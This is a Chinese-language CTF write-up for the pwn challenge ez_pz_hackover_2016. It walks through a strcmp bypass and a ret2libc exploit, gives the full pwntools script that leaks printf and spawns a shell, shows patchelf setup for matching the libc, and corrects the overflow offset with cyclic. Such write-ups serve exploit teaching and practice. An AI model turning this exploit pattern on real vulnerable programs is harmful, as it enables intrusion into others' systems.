0x01:前言 vc哥通过这题给我讲解了很多pwn题的细节,通过写这题的wp简单的记录一下,题目本身一个strcmp绕过+ret2libc
0x02:题目分析 check: 没有NX?ida看看吧: 跟进header()
: 继续往下看: 可以看到fgets()
但是读取的长度不足以溢出,继续往下看,发现有个vuln
函数,跟进: 发现memcpy()
且第三个参数很大,可以溢出,那么我们要构造的payload就是先绕过chall()
函数里面的strcmp()
,最后做个ret2libc:
printf_got=elf.got['printf' ] printf_plt=elf.plt['printf' ] chall_addr=0x08048603 payload=b'crashme\x00' +b'a' *(0x32 +4 -8 )+p32(printf_plt)+p32(chall_addr)+p32(printf_got) debug() sla('> ' ,payload)
这里的字符串偏移就先按ida中能看到的来, 实际上这里有个坑, 我们之后再回来看, 接下来就是老样子做ret2libc:
ru('Welcome crashme!\n' ) printf_addr=uu32(r(4 )) leak('printf_addr' ) libc_base=printf_addr-libc.sym['printf' ] leak('libc_base' ) system_addr,bin_sh_addr=get_sb() payload=b'crashme\x00' +b'a' *(0x32 +4 -8 )+p32(system_addr)+b'aaaa' +p32(bin_sh_addr)
完整exp:
from pwn import *from ctypes import *context(log_level = 'debug' , arch = 'i386' , os = 'linux' ) elf=ELF('/mnt/c/Users/Z2023/Desktop/ez_pz_hackover_2016' ) libc=ELF('/mnt/c/Users/Z2023/Desktop/libc-2.23.so' ) choice = 0 if choice: port=25377 buuctf='node5.buuoj.cn' polar='1.95.36.136' p = remote(buuctf,port) else : p = process('/mnt/c/Users/Z2023/Desktop/ez_pz_hackover_2016' ) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) pause() printf_got=elf.got['printf' ] printf_plt=elf.plt['printf' ] chall_addr=0x08048603 payload=b'crashme\x00' +b'a' *(0x32 +4 -8 )+p32(printf_plt)+p32(chall_addr)+p32(printf_got) debug() sla('> ' ,payload) ru('Welcome crashme!\n' ) printf_addr=uu32(r(4 )) leak('printf_addr' ) libc_base=printf_addr-libc.sym['printf' ] leak('libc_base' ) system_addr,bin_sh_addr=get_sb() payload=b'crashme\x00' +b'a' *(0x32 +4 -8 )+p32(system_addr)+b'aaaa' +p32(bin_sh_addr) sla('> ' ,payload) itr()
乍一看貌似没问题, 但是一运行就打不通了, 这是为什么呢, 原来是笔者从来没有思考过patch这个问题, 一直以来本地都没有打成功过, 这里还是简单记录一下如何patch:
0x03: patchelf 使用 通常来说, 如果exp能打通的话, 我们可以通过泄露出来的printf_got
的地址去找到程序依赖的libc版本, 但是buuctf非常好人直接给我们了, 所以我们还需要找到对应的ldd, 如何找:
strings libc-2.23.so | grep 'ubuntu'
看一下输出:
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al. <https://bugs.launchpad.net/ubuntu/+source /glibc/+bugs>.
可以看到(Ubuntu GLIBC 2.23-0ubuntu11)
, 现在去到glibc-all-in-one:
然后:
找到对应版本的glibc库2.23-0ubuntu11.3_i386
, 使用以下命令来下载:
./down 2.23-0ubuntu11.3_i386
笔者这里先前已经下载过了, 所以报错, 但问题不大, 对应的ldd文件会下载到glibc-all-in-one
目录下的libs
目录中 接下来就是patch了, 回到程序所在目录, 使用一条命令替换路径:
patchelf --set-interpreter 新ld文件路径 --set-rpath libc所在目录 程序名
题外话, 我们可以看一下2.23-0ubuntu11.3_i386
里面有什么: 原来我们需要的ld文件就在这里, libc应该也在这里 接下来则是 patch ,也就是:
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so --set-rpath /mnt/c/Users/Z2023/Desktop /mnt/c/Users/Z2023/Desktop/ez_pz_hackover_2016
这里的libc使用桌面的或者download下来的都可以, patch后使用ldd
命令查看是否成功: 可以看到libc和ldd都被替换成我们想要的了, 接下来就可以跑一下刚刚写好的exp
0x04: 偏移出错 顺便加上debug()
看一下: 可以看到出问题了, 一眼看过去貌似是a太多了? 导致直接覆盖掉ebp和ret了, 也就是说我们偏移出了问题, 这时我们要用cyclic来准确计算偏移:
生成, 然后在fgets那里发送, 进入pwndbg查看出错地址: 随后输入:
即可得到正确的偏移: 正确的偏移应该是18, 稍微修改一下exp:
from pwn import *from ctypes import *context(log_level = 'debug' , arch = 'i386' , os = 'linux' ) elf=ELF('/mnt/c/Users/Z2023/Desktop/ez_pz_hackover_2016' ) libc=ELF('/mnt/c/Users/Z2023/Desktop/libc-2.23.so' ) choice = 0 if choice: port=25377 buuctf='node5.buuoj.cn' polar='1.95.36.136' p = remote(buuctf,port) else : p = process('/mnt/c/Users/Z2023/Desktop/ez_pz_hackover_2016' ) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) pause() printf_got=elf.got['printf' ] printf_plt=elf.plt['printf' ] chall_addr=0x08048603 payload=b'crashme\x00' +b'a' *(18 )+p32(printf_plt)+p32(chall_addr)+p32(printf_got) debug() sla('> ' ,payload) ru('Welcome crashme!\n' ) printf_addr=uu32(r(4 )) leak('printf_addr' ) libc_base=printf_addr-libc.sym['printf' ] leak('libc_base' ) system_addr,bin_sh_addr=get_sb() payload=b'crashme\x00' +b'a' *(18 )+p32(system_addr)+b'aaaa' +p32(bin_sh_addr) sla('> ' ,payload) itr()
尝试一下, 本地能通, 本题结束